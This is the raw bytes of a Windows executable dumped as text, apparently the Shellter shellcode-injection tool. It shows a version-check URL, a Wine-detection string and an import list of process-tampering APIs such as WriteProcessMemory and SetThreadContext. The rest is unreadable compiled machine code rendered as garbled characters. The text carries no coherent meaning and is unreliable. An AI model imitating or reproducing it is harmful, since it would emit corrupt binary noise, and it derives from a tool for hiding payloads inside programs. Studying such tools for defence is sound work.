website...https://www.shellterproject.com/Downloads/Shellter/Latest/version.datYou have the latest version!ntdll.dllShellter was unable to check for the latest version available online.ZwOpenEventRtlInitUnicodeString\KernelObjects\__wineboot_eventstring too longinvalid string positionbad locale namefalsetrue: ios_base::badbit setios_base::failbit setios_base::eofbit setldluLdLu%peEpP.bad castz8?@ _BpBzDMraB3GAH"FE:*JEEE*J@E*JEEEE*J@E.JE.J4EDEPEE.J@4E*JEEEE*J@E*JEEEEE*J@E+JE,EVn&8DTj| 4Jdzhx st ,HXhGetCurrentProcessGetLastErrorCreateFileA%WriteFileReadProcessMemoryEGetProcAddress<LoadLibraryARCloseHandleDeleteFileAGetTickCountGetFileSizeWMapViewOfFileUnmapViewOfFile^SetFileAttributesACreateFileMappingWfSetFilePointerIsBadCodePtrReadFileDebugActiveProcessStopWaitForSingleObjectGetExitCodeProcessCreateProcessATerminateProcess|CreateDirectoryApCopyFileAFSetConsoleTextAttribute]FormatMessageAdGetStdHandlebFreeLibrarySleep-SetConsoleCtrlHandlerGetModuleHandleACreateThreadGetThreadContextSetThreadContextgContinueDebugEventWaitForDebugEvent.WriteProcessMemorySuspendThreadResumeThreadESetConsoleScreenBufferSizeGetConsoleWindowGSetConsoleTitleAGetConsoleScreenBufferInfoISetConsoleWindowInfoGetVersionThread32FirstThread32NextOpenThreadCreateToolhelp32SnapshottOpenEventAKERNEL32.dllSetWindowPos#GetDesktopWindowGetWindowRectUSER32.dllOpenProcessTokenLookupPrivilegeValueWAdjustTokenPrivilegesADVAPI32.dllImageNtHeaderImageRvaToSection!MapAndLoadImageDirectoryEntryToDataImageRvaToVaUnMapAndLoad#MapFileAndCheckSumAimagehlp.dllHPathFindFileNameASHLWAPI.dllInternetOpenWInternetOpenUrlWInternetReadFilekInternetCloseHandleWININET.dllWS2_32.dllEncodePointerDecodePointerHeapFreeEnterCriticalSection9LeaveCriticalSectionyGetSystemTimeAsFileTimeGetCommandLineAIsDebuggerPresentIsProcessorFeaturePresentExitProcessGetModuleHandleExWgMultiByteToWideCharWideCharToMultiByteHeapSizeRaiseExceptionHeapAllocsSetLastErrorGetCurrentThreadId IsValidCodePagehGetACP7GetOEMCPrGetCPInfoJGetProcessHeapDeleteCriticalSectionWFlushFileBuffersGetConsoleCPGetConsoleModeGetFileTypecGetStartupInfoWGetModuleFileNameAGetModuleFileNameWQueryPerformanceCounterGetCurrentProcessIdGetEnvironmentStringsWaFreeEnvironmentStringsWUnhandledExceptionFilterSetUnhandledExceptionFilterInitializeCriticalSectionAndSpinCountTlsAllocTlsGetValueTlsSetValueTlsFreeGetModuleHandleW>LoadLibraryExWHeapReAllocRtlUnwind-LCMapStringWGetLocaleInfoW IsValidLocaleGetUserDefaultLCIDEnumSystemLocalesWiGetStringTypeWgSetFilePointerExSetStdHandle$WriteConsoleWReadConsoleWOutputDebugStringWCreateFileWBJBJ"F."F/J/J/J/J/J/J/J/J/J"F/J/J/J/J/J/J/J.N@DsqrtDDDDDD!DD D DDD$D(D ,D 0D 8D@DHDPDXD`DhDpD"xD#|D$D%D&DD0us        ! 5A CPR S WY l m pr   )     abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'F`y!@~ڣ @ڣ AϢ[@~QQ^ _j21~CDDDD DDDD D(D0Dc{#Tw=:zc%C12@<@>2@pPSTPDT4F4F:Yw/Ml;Zx0NmMZ@ !L!This program cannot be run in DOS mode. $PEL^O! 2hM8("t.textX `.rdataG@@.datax%&@.reloc"$@BUhE@dPL:Eǀ]UExP@u EPCE@\hE@dP:Eǀ EǀE]USExP@uEPdE@\hE@dP9Eǀ EǀEPj#uEǀE@8 tfERщERщSQhޢRPB$EǀEǀE[]USExP@uEPgE@\h٢E@dP8Eǀ EǀEPj"uEǀE@8 fERщERщSQhޢRPA#EǀEǀE[]UExP@u EPgCE@\hԢE@dP7Eǀ EǀE]UExu EƀxE@\hϢE@dPJ7EPjEP!]UExu EƀxE@\hϢE@dP6EP#jEPp!]UExu EƀxE@\hϢE@dP6EPojEP!!]UExu EƀxE@\hϢE@dP]6EPvjEP ]UExu EƀxE@\hϢE@dP6EPgjEP ]UExu EƀxE@\hϢE@dP5EPjEP4 ]UExu EƀxE@\hʢE@dPp5EPjEP]UExu EƀxE@\hʢE@dP!5EPIjEP]UExu EƀxE@\hʢE@dP4EPjEPG]UExu EƀxE@\hʢE@dP4EPjEP]UExu EƀxE@\hʢE@dP44EPjEP]UExu EƀxE@\hʢE@dP3EPjEPZ]UExu EƀxE@\hŢE@dP3EPjEP ]UExu EƀxE@\hŢE@dPG3EPojEP]UExu EƀxE@\hŢE@dP2EPjEPm]UExu EƀxE@\hŢE@dP2EPjEP]UExu EƀxE@\hŢE@dPZ2EPjEP]UExu EƀxE@\hŢE@dP 2EP8jEP]UE@7E@\hE@dP1EPjEEP7LE@\hE@dP1EǀEPEǀ jEP]UE@uEPLE@\hE@dP1EP7EǀgEǀjEPy]UE@\hE@dP0E@Eǀ@E1hйEP0Ep :hEPV0EP E Eǀ E1h0EP/Ep hEP/EP zEǀE1hEPy/Ep ,hpEPH/EP Ej EP]UE@\hE@dP.E@Eǀ@E1hԹEP.Et :hEP.ET E Eǀ E1h8EP%.Et hEP-ET zEǀE1hEP-Et ,hxEPu-ET Ej EP]UE@\hE@dP%-E@Eǀ@E1hعEP,Ex :hEP,EX E Eǀ E1h@EPR,Ex hEP!,EX zEǀE1hEP+Ex ,hEP+EX Ej EP]UE@\hE@dPR+E@Eǀ@E1hܹEP+E| :hEP*E\ E Eǀ E1hHEP*E| hEPN*E\ zEǀE1hȺEP*E| ,hEP)E\ Ej EP-]UE@\hE@dP)E@Eǀ@E1hEP;)E :hEP )E` E Eǀ E1hPEP(E hEP{(E` zEǀE1hкEP-(E ,hEP'E` Ej EPZ]UE@\hE@dP'E@Eǀ@E1hEPh'E :hĹEP7'Ed E Eǀ E1hXEP&E hEP&Ed zEǀE1hغEPZ&E ,hEP)&Ed Ej EP]UE@\hE@dP%E@Eǀ@E1hEP%E :hȹEPd%Eh E Eǀ E1h`EP%E h EP$Eh zEǀE1hEP$E ,hEPV$Eh Ej EP]UE@\hE@dP$E@Eǀ@E1hEP#E :h̹EP#El E Eǀ E1hhEP3#E h(EP#El zEǀE1hEP"E ,hEP"El Ej EP ]UE@\hE@dP3"EPLj EP ]UE@\hE@dP!EPj EPo ]UExu EƀxE@\hE@dP!EPEǀj EP ]UEx EƀxE@\hE@dPK!EPsEǀj EP ]UEx EƀxE@\hE@dP EPEǀj EPS ]UEx EƀxE@\hE@dP EPEǀj EP ]U SE@\E@t EEǀhE@dP E EPj uERRUPERPEP~ EM]EǀEU3 ="EURPh~ERP EURPhyERP EǀEM]EEPj uERRUPERPEP eeEM]EǀEURPhyERP EǀEM]E[]USVWEE@EPYE@\E@t E3hrE@dPhpEPEhfE@dPE XEPjERUUѻSQha]썔RPESEPjUjERUUѻSQha]썔RP<EE$h\EU썄PEhXEU썄PEEEUERUeERPhy]ERPEE E EEǀEǀEǀEM]Uֿ_^[]UE@\Eǀ  E@REhRE@dPuhME@dP\Eǀ@E REhGE@dPhBE@dPEǀ MEh<E@dPh7E@dPEǀE]UE@\h1E@dPkEǀ EǀjEPE]UE@\ h,E@dPEǀ@ EǀjEPzE]UE@\h%E@dPEPjEP6]UE@\hE@dPEPjEP]UE@\hE@dPOEPhjEP]UE@\hE@dPEP/jEP]UE@\hE@dPEPjEPR]UE@\hE@dPEPjEP]UE@\hE@dPkEPjEP]UE@\hE@dP2EPKjEP]UE@\hE@dPEPjEPn]UE@\hߡE@dPEPjEP5]UE@\hءE@dPEPjEP]UE@\hСE@dPNEPgjEP]UE@\hɡE@dPEP.jEP]UE@\hE@dPEPjEPQ]UE@\hE@dPEPjEP]UE@\hE@dPjEPjEP]UEx EƀxE@\hE@dPEPujEP]UEx EƀxE@\hE@dPEPjEP9]UE@\hE@dPEPEǀjEP]UE@\hE@dPEEPmEǀjEP]UE@\hE@dPEPEǀjEPg]UE@\hE@dPEPEǀjEP!]UE@\hE@dPsEPEǀjEP]UE@\hE@dP-EPZEǀjEP]UE Eƀ|E Eƀ{E@\hE@dPEǀ@EǀEǀEǀEǀ@EǀEǀ@jEPE]UE Eƀ|E Eƀ{E@\Eǀ@EǀEǀEǀ@Eǀ@E@3hE@dPEǀ@Eǀ@qE 3hE@dPUEǀ Eǀ .hE@dP"EǀEǀjEPE]UE@\Eǀ E@REhE@dPhzE@dPEǀ@E REhtE@dP;hnE@dP"Eǀ MEhhE@dPhcE@dPEǀE]UE@\ Eǀ@ h^E@dPEǀjEPE]UE@\ Eǀ@ hYE@dP1EǀjEPE]UE@\ Eǀ@ hTE@dPEǀjEPME]UE@\ Eǀ hME@dPEǀ E]UE@EPNE@\hHE@dP,Eǀ EǀjEPE]UE@EPyNE@\hCE@dPEǀ EǀjEPE]UE@EPjujEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dP E >hEPe EP Eǀ 9hpEP' EP EǀEjEPx]UE@EPjjEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dP E >hEP ET Eǀ 9hxEP ET EǀEjEP]UE@EPjAjEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dPX E >hEP1 EX Eǀ 9hEP EX EǀEjEPD]UE@EPjjEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dPE >hEPE\ Eǀ 9hEPYE\ EǀEjEP]UE@EPj jEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dP$E >hEPE` Eǀ 9hEPE` EǀEjEP]UE@EPjsjEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dPE >hEPcEd Eǀ 9hEP%Ed EǀEjEPv]UE@EPjjEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dPE >h EPEh Eǀ 9hEPEh EǀEjEP]UE@EPj?jEƀEƀEƀEƀEƀEEEpEǀ@EP`EPEǀ Ex EƀxE@\h>E@dPVE >h(EP/El Eǀ 9hEPEl EǀEjEPB]USE@\h7E@dPERщSQhaRPEǀEǀERщSQhޢRP\EǀEǀE[]UE@\h0E@dPE]UE@\h+E@dPE]UE@\h%E@dPyE]UE@EPjZ]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dP~E >hEPWEP Eǀ 9hpEPEP EǀEj(EPj]UE@EPj]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dPE >hEPET Eǀ 9hxEPET EǀEj(EP]UE@EPj@]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dPdE >hEP=EX Eǀ 9hEPEX EǀEj(EPP]UE@EPj]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dPE >hEPE\ Eǀ 9hEPrE\ EǀEj(EP]UE@EPj&]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dPJE >hEP#E` Eǀ 9hEPE` EǀEj(EP6]UE@EPj]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dPE >hEPEd Eǀ 9hEPXEd EǀEj(EP]UE@EPj ]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dP0E >h EP Eh Eǀ 9hEPEh EǀEj(EP]UE@EPj]EƀEƀEƀEƀEƀEEEpEP`EPEǀ Ex EƀxE@\h E@dPE >h(EP|El Eǀ 9hEP>El EǀEj(EP]UE@\E@t E@hE@dP=E hE@dPh E@dPE]UE@\hE@dPUh0EP>hEP'EP EǀEX EǀE]UE@\hE@dPEP ]USE@\hE@dPEPjEǀERщERщSQhޢRPIhEPEP Eǀ EǀEǀE[]UE{ Eƀ{E| Eƀ|E@\hE@dPYEǀ@EǀEǀEǀ EǀEj)EP]UE{ Eƀ{E| Eƀ|E@\E phE@dPEǀ@Eǀ EǀEǀ EǀEj)EPkhE@dP)Eǀ@EǀEǀEǀ EǀEj)EP[]UE@EPO4E@\hE@dPEj+EP]UE@\hE@dPTE whEP-hEPEP Eǀ EX EǀrhpEPhEPEP EǀEX EǀE]USE@\hE@dP*EPj-EǀERщERщSQhޢRPEǀEǀEj*EP[]UE@\hE@dPaEj*EP]UE@\hޠE@dP&Ej*EP]USE@\hؠE@dPE  E@Eǀh EǀgEǀ EPPWEPPXE DEPjjiEǀ ERѻERѻSQhy(RP.EǀHEǀL j&EP[EǀfEǀEPPVEPPWE DEPj~Eǀ ERщERщSQha(RPAEǀHEǀLj&EPn[]USE@\hؠE@dPE E@Eǀh EǀgEǀEPPjUEPPVE DEPj>kEǀ ERщERщSQhޢ(RPEǀHEǀLj&EP-EǀfEǀEPP}TEPPUE DEPjQ~Eǀ ERщERщSQhޢ(RPEǀHEǀLj&EP@[]UE@\hؠE@dPEPj&EP]U SEEƀEƀEEƀEƀE@\E@thԠE@dPEPjERUPMɉڃRPEPbE eeEU1 "EURPh~ERPEURPhyERPmEǀEEǀEM]Ej1EPj[]U SEEƀEƀEEƀEƀE@\E@thϠE@dPcEPjfERUPMɉڃRPEPE eeEU1 "EURPh~ERPEURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@thˠE@dPEPjERUPMɉڃRPEP$E eeEU1 "EURPh~ERPQEURPhyERP/EǀEEǀEM]Ej1EP,[]U SEEƀEƀEEƀEƀE@\E@thƠE@dP%EPj(ERUPMɉڃRPEPE eeEU1 "EURPh~ERPEURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@th E@dPEPjERUPMɉڃRPEPE eeEU1 "EURPh~ERPEURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@thE@dPEPjERUPMɉڃRPEPGE eeEU1 "EURPh~ERPtEURPhyERPREǀEEǀEM]Ej1EPO[]U SEEƀEƀEEƀEƀE@\E@thE@dPHEPjKERUPMɉڃRPEPE eeEU1 "EURPh~ERPEURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@thE@dPEPjERUPMɉڃRPEP E eeEU1 "EURPh~ERP6EURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@thE@dP EPj ERUPMɉڃRPEPjE eeEU1 "EURPh~ERPEURPhyERPuEǀEEǀEM]Ej1EPr[]U SEEƀEƀEEƀEƀE@\E@thE@dPkEPjnERUPMɉڃRPEPE eeEU1 "EURPh~ERPEURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@thE@dPEPjERUPMɉڃRPEP,E eeEU1 "EURPh~ERPYEURPhyERP7EǀEEǀEM]Ej1EP4[]U SEEƀEƀEEƀEƀE@\E@thE@dP-EPj0ERUPMɉڃRPEPE eeEU1 "EURPh~ERPEURPhyERPEǀEEǀEM]Ej1EP蕿[]U SEEƀEƀEEƀEƀE@\E@thE@dPEPj葾ERUPMɉڃRPEPE eeEU1 "EURPh~ERPEURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@thE@dPEPjERUPMɉڃRPEPOE eeEU1 "EURPh~ERP|EURPhyERPZEǀEEǀEM]Ej1EPW[]U SEEƀEƀEEƀEƀE@\E@thE@dPPEPjSERUPMɉڃRPEP谻E eeEU1 "EURPh~ERPݻEURPhyERP軻EǀEEǀEM]Ej1EP踺[]U SEEƀEƀEEƀEƀE@\E@thE@dPEPj费ERUPMɉڃRPEPE eeEU1 "EURPh~ERP>EURPhyERPEǀEEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@thԠE@dPE  EPjERUPMɉڃRPEPcEU1 "EURPh~ERP諸EURPhyERP艸EǀEEǀEM]Ej1EP膷EPjERUPMɉڃRPEPXeeEURPhaERP賷EǀEEǀEM]Ej1EP谶[]U SEEƀEƀEEƀEƀE@\E@thϠE@dPE  EPj蜵ERUPMɉڃRPEPEU1 "EURPh~ERPBEURPhyERP EǀEEǀEM]Ej1EPEPj蒴ERUPMɉڃRPEPeeEURPhaERPJEǀEEǀEM]Ej1EPG[]U SEEƀEƀEEƀEƀE@\E@tEhˠE@dP1E EPj$ERUPMɉڃRPEP肳EU1 "EURPh~ERPʳEURPhyERP訳EǀEǀEM]Ej1EP贲EPj)ERUPMɉڃRPEP膲eeEURPhaERPEǀEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@tEhƠE@dPE EPjʰERUPMɉڃRPEP(EU1 "EURPh~ERPpEURPhyERPNEǀEǀEM]Ej1EPZEPjϯERUPMɉڃRPEP,eeEURPhaERP臰EǀEǀEM]Ej1EP蓯[]U SEEƀEƀEEƀEƀE@\E@tEh E@dP}E EPjpERUPMɉڃRPEPήEU1 "EURPh~ERPEURPhyERPEǀEǀEM]Ej1EPEPjuERUPMɉڃRPEPҭeeEURPhaERP-EǀEǀEM]Ej1EP9[]U SEEƀEƀEEƀEƀE@\E@tEhE@dP#E EPjERUPMɉڃRPEPtEU1 "EURPh~ERP輬EURPhyERP蚬EǀEǀEM]Ej1EP覫EPjERUPMɉڃRPEPxeeEURPhaERPӫEǀEǀEM]Ej1EPߪ[]U SEEƀEƀEEƀEƀE@\E@tEhE@dPɿE EPj輩ERUPMɉڃRPEPEU1 "EURPh~ERPbEURPhyERP@EǀEǀEM]Ej1EPLEPjERUPMɉڃRPEPeeEURPhaERPyEǀEǀEM]Ej1EP腨[]U SEEƀEƀEEƀEƀE@\E@tEhE@dPoE EPjbERUPMɉڃRPEPEU1 "EURPh~ERPEURPhyERPEǀEǀEM]Ej1EPEPjgERUPMɉڃRPEPĦeeEURPhaERPEǀEǀEM]Ej1EP+[]U SEEƀEƀEEƀEƀE@\E@tEhE@dPE EPjERUPMɉڃRPEPfEU1 "EURPh~ERP讥EURPhyERP茥EǀEǀEM]Ej1EP蘤EPj ERUPMɉڃRPEPjeeEURPhaERPŤEǀEǀEM]Ej1EPѣ[]U SEEƀEƀEEƀEƀE@\E@tEhE@dP軸E EPj订ERUPMɉڃRPEP EU1 "EURPh~ERPTEURPhyERP2EǀEǀEM]Ej1EP>EPj賡ERUPMɉڃRPEPeeEURPhaERPkEǀEǀEM]Ej1EPw[]U SEEƀEƀEEƀEƀE@\E@tEhE@dPaE EPjTERUPMɉڃRPEP負EU1 "EURPh~ERPEURPhyERPؠEǀEǀEM]Ej1EPEPjYERUPMɉڃRPEP趟eeEURPhaERPEǀEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@tEhE@dPE EPjERUPMɉڃRPEPXEU1 "EURPh~ERP蠞EURPhyERP~EǀEǀEM]Ej1EP芝EPjERUPMɉڃRPEP\eeEURPhaERP距EǀEǀEM]Ej1EPÜ[]U SEEƀEƀEEƀEƀE@\E@tEhE@dP譱E EPj蠛ERUPMɉڃRPEPEU1 "EURPh~ERPFEURPhyERP$EǀEǀEM]Ej1EP0EPj襚ERUPMɉڃRPEPeeEURPhaERP]EǀEǀEM]Ej1EPi[]U SEEƀEƀEEƀEƀE@\E@tEhE@dPSE EPjFERUPMɉڃRPEP褙EU1 "EURPh~ERPEURPhyERPʙEǀEǀEM]Ej1EP֘EPjKERUPMɉڃRPEP記eeEURPhaERPEǀEǀEM]Ej1EP[]U SEEƀEƀEEƀEƀE@\E@tEhE@dPE EPjERUPMɉڃRPEPJEU1 "EURPh~ERP蒗EURPhyERPpEǀEǀEM]Ej1EP|EPjERUPMɉڃRPEPNeeEURPhaERP詖EǀEǀEM]Ej1EP赕[]USEEƀEƀEEƀEƀE@\E@tEhE@dP蟪E EPj蒔ERщM]PEURPEPEU1 "EURPh~ERP6EURPhyERPEǀEǀEM]Ej1EP EPj蕓ERщM]PEURPEPeeEURPhaERPKEǀEǀEM]Ej1EPW[]USEEƀEƀEEƀEƀE@\E@t EE@hxE@dP1=E hqE@dPhkE@dPE EPjERщM]PEURPEP=EU1 "EURPh~ERP腒EURPhyERPcEǀEǀEM]Ej1EPoEPjERщM]PEURPEP?eeEURPhaERP蚑EǀEǀEM]Ej1EP覐[]U SE@\E@t EǀEhfE@dP˥E EPj辏ERUPMɉڃRPEPEU1 "EURPh~ERPdEURPhyERPBEǀEM]Ej3EP[EPjЎERUPMɉڃRPEP-eeEURPhaERP舏EǀEM]Ej3EP衎[]U SEEEE@\E@t EhfE@dP辣EPjERUPMɉڃRPEPE eeEU1 "EURPh~ERPKEURPhyERP)EǀEǀEM]Ej1EP5[]USVWEE@EPh?E@\E@t EǀE3h`E@dP/hpEPEhWE@dPE XEPjERUUѻSQha]썔RP֌ESEPj藋CERUUѻSQha]썔RP~EE$h\EU썄PEhXEU썄PEEEUERUeERPhy]ERPŋEE E EEM]Uֿ_^[]UE@\ hQE@dPEǀ EǀEǀ@ EǀE]UE@\hLE@dP誟EP荅j5EP]UE@EPeE@\ hGE@dPSE IEǀkEPP. EPPI E DDEǀgEPP EPP E D]UE@\h@E@dP葞Eǀ Eǀ Eǀ @ Eǀ E]UE@\ h;E@dP-E kE@Eǀh EǀgEPPEPP E DDEǀfEPPEPP E DEǀ ]UE@EPbE@\ h6E@dPE IEǀkEPPEPP E DDEǀgEPPEPPE D]UE{ Eƀ{E| Eƀ|E@\h/E@dP(Eǀ EǀEǀ@Eǀ@EǀEǀ@Ej;EPM]UE{ Eƀ{E| Eƀ|E@\E@}h(E@dP[Eǀ Eǀ@Eǀ@Eǀ@Eǀ@Eǀ@Ej;EP者E }h!E@dPΚEǀ Eǀ Eǀ@Eǀ@Eǀ Eǀ@Ej;EPxhE@dPQEǀ EǀEǀ@Eǀ@EǀEǀ@Ej;EPv]USE@\E@thE@dP躙EPj轃E ERUPMɉڃRPEP EU1 "EURPh~ERPREURPhyERP0EǀEEǀEM]􉈄EjEP~]UE@\ hE@dPgEPw]UE@\ hE@dP9EPRw]UE@\ hE@dP EP$w]UE@\EPPEehE@dP轒EǀEPPEǀjCEP}E D EPX]UE@\EPPJEehE@dPEǀEPP4EǀjCEPr|E D EPaW]UE@\EPPEehE@dPEǀEPPEǀjCEP{E D EPV]UE@\EPP EehE@dPEǀEPPEǀjCEP4{E D EP#V]UE@\hE@dPaEPl]UE@\hE@dP3EP[m]UE@\hE@dPEPl]UE@\hE@dP׏EPs]USE@\hE@dP襏EǀeEǀEǀEǀ EǀEǀ@EǀE@pEPj =yER ZM]M]SQh~RP'zE EM] E tEPjxERѻM]M]SQhyRPyEEM] pEPjIxERщM]M]SQhaRP.yEEM] Eh0EP词hpEP蓍[]USE@\hE@dPgEǀEǀE@pEPj @w.ER ZM]M]SQh~RP*xE EM] E tEPjvERѻM]M]SQhyRPwEEM] pEPjLv:ERщM]M]SQhaRP1wEEM] EE@)EǀhhEP蕋E )EǀghEP\EǀfhpEP3E@)EǀhhйEP]E )Eǀgh0EP$EǀfhEP蘊Eǀ Eǀ@EhEǀ@Eǀ@YEgEǀ Eǀ *EfEǀEǀ[]USE@\hE@dPʉEǀEǀEǀEǀ Eǀ@EǀEǀE@pEPj bsER ZM]M]SQh~RPLtE EM]E tEPjrERѻM]M]SQhyRPsEEM]pEPjnrERщM]M]SQhaRPSsEEM]Eh0EPԇhpEP踇[]USE@\hE@dP茇EǀEǀE@pEPj eq.ER ZM]M]SQh~RPOrE EM]E tEPjpERѻM]M]SQhyRPqEEM]pEPjqp:ERщM]M]SQhaRPVqEEM]EE@)EǀhEP躅E )EǀhEP聅EǀhpEPXE@)EǀhйEP]E )Eǀh0EP$EǀhEP轄Eǀ Eǀ@EEǀ@Eǀ@YEEǀ Eǀ *EEǀEǀ[]UE@\hE@dPEPLj]USE@\hE@dPEPjmEǀERUUщSQhޢRPnEUщhEP;Eǀ EǀEǀEǀE[]USE@\hE@dPςEPjlEǀERUUщSQhޢRPmEUщhEPIEǀ EǀEǀEǀE[]USE@\hE@dP݁EPjkEǀERUUщSQhޢRPlEUщhEPWEǀ EǀEǀEǀE[]USE@\hE@dPEPjjEǀERUUщSQhޢRPkEUщhEPeEǀ EǀEǀEǀEǀE[]USE@\hE@dPEPjiEǀERUUщSQhޢRPjEUщhEPfEǀEǀ EǀEǀEǀE[]USE@\hE@dP~EPjhEǀERUUщSQhޢRPiEUщhEPg~Eǀ EǀEǀEǀEǀE[]USE@\hE@dP}EPjgEǀERUUщSQhޢRPhEUщh EPh}Eǀ EǀEǀEǀEǀE[]UE{ Eƀ{E| Eƀ|E@\hE@dP|Eǀ@EǀEǀEǀ@Eǀ@EǀEǀEjDEPf]UE{ Eƀ{E| Eƀ|E@\E@hޟE@dP{Eǀ@EǀEǀ@Eǀ@Eǀ@Eǀ@EǀEjDEPeE hןE@dPK{Eǀ@EǀEǀ Eǀ@Eǀ@Eǀ EǀEjDEPcehПE@dPzEǀ@EǀEǀEǀ@Eǀ@EǀEǀEjDEPd]UE@\hɟE@dP+zEP^]UE@\hŸE@dPyEP^]UE@\hŸE@dPyEP_]UE@\hɟE@dPyEP_]USE@\hE@dPoyEǀ EǀE@EPj HcER ZM]M]SQh~RP2dE EM]Eǀ@Eǀ@(E EPjbERѻM]M]SQhyRPcEEM]Eǀ Eǀ EPj bdERщM]M]SQhaRPcEEM]EǀEǀEtE@hEP\wE hEP0whpEPwoE@hйEPvCE h0EPvhEPv[]USE@\hE@dPtvEǀ EǀE@EPj M`ER ZM]M]SQh~RP7aE EM]Eǀ@Eǀ@(E EPj_ERѻM]M]SQhyRP`EEM]Eǀ Eǀ EPj%_dERщM]M]SQhaRP `EEM]EǀEǀEtE@hEPatE hEP5thxEPtoE@hԹEPsCE h8EPshEPs[]USE@\hE@dPysEǀ EǀE@EPj R]ER ZM]M]SQh~RP<^E EM]Eǀ@Eǀ@(E EPj\ERѻM]M]SQhyRP]EEM]Eǀ Eǀ EPj*\dERщM]M]SQhaRP]EEM]EǀEǀEtE@hEPfqE hEP:qhEPqoE@hعEPpCE h@EPphEPp[]USE@\hE@dP~pEǀ EǀE@EPj WZER ZM]M]SQh~RPA[E EM]Eǀ@Eǀ@(E EPjYERѻM]M]SQhyRPZEEM]Eǀ Eǀ EPj/YdERщM]M]SQhaRPZEEM]EǀEǀEtE@hEPknE hEP?nhEP#noE@hܹEPmCE hHEPmhȺEPm[]USE@\hE@dPmEǀ EǀE@EPj \WER ZM]M]SQh~RPFXE EM]Eǀ@Eǀ@(E EPjVERѻM]M]SQhyRPWEEM]Eǀ Eǀ EPj4VdERщM]M]SQhaRPWEEM]EǀEǀEtE@hEPpkE hEPDkhEP(koE@hEPjCE hPEPjhкEPj[]USE@\hE@dPjEǀ  EǀE@EPj aTER ZM]M]SQh~RPKUE EM]Eǀ@Eǀ@(E EPjSERѻM]M]SQhyRPTEEM]Eǀ Eǀ EPj9SdERщM]M]SQhaRPTEEM]EǀEǀEtE@hĹEPuhE hEPIhhEP-hoE@hEPhCE hXEPghغEPg[]USE@\hE@dPgEǀ@ EǀE@EPj fQER ZM]M]SQh~RPPRE EM]Eǀ@Eǀ@(E EPjPERѻM]M]SQhyRPQEEM]Eǀ Eǀ EPj>PdERщM]M]SQhaRP#QEEM]EǀEǀEtE@hȹEPzeE h EPNehEP2eoE@hEPeCE h`EPdhEPd[]USE@\hE@dPdEǀ EǀE@EPj kNER ZM]M]SQh~RPUOE EM]Eǀ@Eǀ@(E EPjMERѻM]M]SQhyRPNEEM]Eǀ Eǀ EPjCMdERщM]M]SQhaRP(NEEM]EǀEǀEtE@h̹EPbE h(EPSbhEP7boE@hEP bCE hhEPahEPa[]UERE,E@\hE@dPpaEPC EP&]UERE,E@\hE@dP aEP> EP&]UE@\hE@dP`EǀEǀEPPEǀ EǀEPPEǀE D]UE@\hE@dP0`EǀfEǀEPPEǀ EǀEPPEǀE D]UE.E@\hE@dP_EEEx EƀxE@\hE@dP+_hEP_EP Eǀ@hйEP^Ep Eǀ@E)E@\ hE@dP^E]UE@\ hE@dP[^E@Eǀh/E Eǀg EǀfEPPE DEǀ ]UE@\ hE@dP]E@Eǀh/E Eǀg EǀfEPPXE D]UEx EƀxE@\hE@dP\EPX9jJEPoG]UEx EƀxE@\hE@dP\EP9jJEPG]UEx EƀxE@\hE@dPT\EP9jJEPF]UEx EƀxE@\hE@dP\EP@jJEPvF]UEx EƀxE@\hE@dP[EPBjJEP#F]UEx EƀxE@\hE@dP[[EPBjJEPE]UE{ Eƀ{E| Eƀ|E@\hE@dPZEǀ EǀEǀEǀ@Eǀ@EǀEjLEPE]UE{ Eƀ{E| Eƀ|E@\E }hE@dP!ZEǀ EǀEǀEǀ@Eǀ@Eǀ EjLEPFDxhE@dPYEǀ EǀEǀEǀ@Eǀ@EǀEjLEPC]USE@\hE@dPYEPjCEǀERUUщSQhޢRPCEǀEǀEǀEUщh0EPjXEP EǀE[]USE@\hE@dPXEPjBEǀERUUщSQhޢRPBEǀEǀEUщE )hEP`WEǀ $hpEP7WEǀE[]UE@\hE@dPVhEPVEǀEǀh0EPVEǀE]UE@\hE@dPqVhEPZVEǀEǀE )hEPVEǀ $hpEPUEǀE]UE@\EREhE@dPUE@zEǀ@EǀEPPVE DEǀ@Eǀ@EǀEǀ E mEǀEPPٿE DEǀ@Eǀ EǀEǀ vEǀEPPlE DEǀ@EǀEǀEǀ EP]UE@\hE@dPSE@E1hEPSEP ,hйEP~SEp Eǀ@Eǀ@E KhEP#SEP Eǀ Eǀ FhpEPREP EǀEǀEEǀ@EǀEǀ ]UE@\hE@dPRRE@E1hEPRET ,hԹEPQEt Eǀ@Eǀ@E KhEPQET Eǀ Eǀ FhxEPDQET 